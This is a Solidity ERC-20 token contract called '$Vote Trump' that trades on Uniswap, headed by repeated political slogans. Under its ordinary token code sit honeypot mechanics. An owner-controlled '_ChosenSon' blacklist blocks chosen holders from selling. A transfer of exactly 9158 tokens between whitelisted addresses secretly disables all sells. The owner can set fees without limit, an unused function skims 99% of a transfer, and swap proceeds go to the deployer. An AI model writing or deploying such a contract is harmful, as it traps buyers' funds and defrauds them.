// SPDX-License-Identifier: MIT
/*
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president
    Vote for Trump!!!   Trump president

*/

pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(2,2,2,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract VoteTrump is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "$Vote Trump",
        "The president Trump",
        9,
        1000000
    ){
    }
}